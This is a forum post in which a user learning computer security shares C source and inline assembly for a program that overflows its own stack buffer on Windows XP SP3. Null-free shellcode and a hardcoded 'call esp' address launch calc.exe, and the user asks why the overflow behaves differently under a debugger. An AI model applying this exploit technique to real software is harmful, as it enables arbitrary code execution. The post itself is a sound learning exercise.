app's different behavior when running alone or running by debugger when creating buffer overflow

Trips

Well-known member
Joined
Aug 7, 2010
Messages
2,788
After reading some books related to computer security, i tried to do a experiment about stack buffer overflow.
My program will try to overflow its stack itself.
Here is the source code of the program

<div style="color:Black; background-color:White
<pre>#include <span style="color:#a31515 "stdafx.h"

#include <Windows.h>
BYTE code[] =
{
0xeb, 0x11, 0xb8, 0xed, 0x2a, 0x86, 0x7c, 0xff,
0xd0, 0x33, 0xc0, 0x50, 0xb8, 0x12, 0xcb, 0x81,
0x7c, 0xff, 0xd0, 0x33, 0xc0, 0xb0, 0x05, 0x50,
0xe8, 0xe5, 0xff, 0xff, 0xff, 0x63, 0x61, 0x6c,
0x63, 0x00
};

<span style="color:Blue void
ProcessHeader(CHAR *externalBuffer)
{
CHAR locBuffer[20];
strcpy(locBuffer, externalBuffer);
Sleep(1000);
}
<span style="color:Blue int
_tmain(<span style="color:Blue int
argc, _TCHAR* argv[])
{
CHAR *payLoad = <span style="color:Blue new
CHAR[28 + <span style="color:Blue sizeof
(code)];
DWORD stub = 0x7c872e1b;
memcpy(payLoad + 24, &stub, <span style="color:Blue sizeof
(DWORD));
memcpy(payLoad + 28, code, <span style="color:Blue sizeof
(code));
ProcessHeader(payLoad);
<span style="color:Blue delete
[] payLoad;
printf(<span style="color:#a31515 "Hello world"
);
getchar();
<span style="color:Blue return
0;
}
[/code]


Because strcpy copies as many characters as possible until it encouters null, so the injection code (variable code in the source) was designed to avoid null byte, so it will not result in partial overflow.
The variable stub above contains the address of op code call esp. This address will replace ProcessHeaders return address when this function returns. You might have to change if that address is not fixed. It depends on OS version. In my Win XP SP3, that
address is fixed.
The machine code above was generated by using this code

<div style="color:Black; background-color:White
<pre>#include <span style="color:#a31515 "stdafx.h"

#include <Windows.h>
#define WE 0x7c862aed
#define EP 0x7c81cb12
<span style="color:Blue int
_tmain(<span style="color:Blue int
argc, _TCHAR* argv[])
{
__asm
{
jmp _main
_trick_push_1:
mov eax, WE
call eax
xor eax, eax
push eax
mov eax, EP
call eax
_main:
xor eax, eax
mov al, 5
push eax
call _trick_push_1
_emit 0x63
_emit 0x61
_emit 0x6c
_emit 0x63
_emit 0
}
<span style="color:Blue return
0;
}
[/code]

WE, EP is the address of function WinExec, ExitProcess, respectively. The purpose of the injection code is simply make program launch calc.exe, then exits.

I noticed that in Win XP SP3, the address of import functions in kernel32.dll is fixed, so I dont have to change WE, EP each time my computer is restarted.
Now is my problem. When i tried to get the faulty program attached by a debugger (for instance, WinDbg), it ran as i expected. No printf, it launched calc.exe, and exited. But when i let it run alone, it still prints the line Hello Word, and waits for
any key stroke before exiting, which makes me confused.
The test program was built in release mode with optimization turned off, buffer security check disabled (/GS-), no basic runtime check, no whole program optimization, inline expansion set to default, which, according to MSDN documentation, means turned off
(but when i disassembled program by using WinDbg, i still saw strcpy function expanded)
Can anyone show me some light on this?




View the full article
 
Back
Top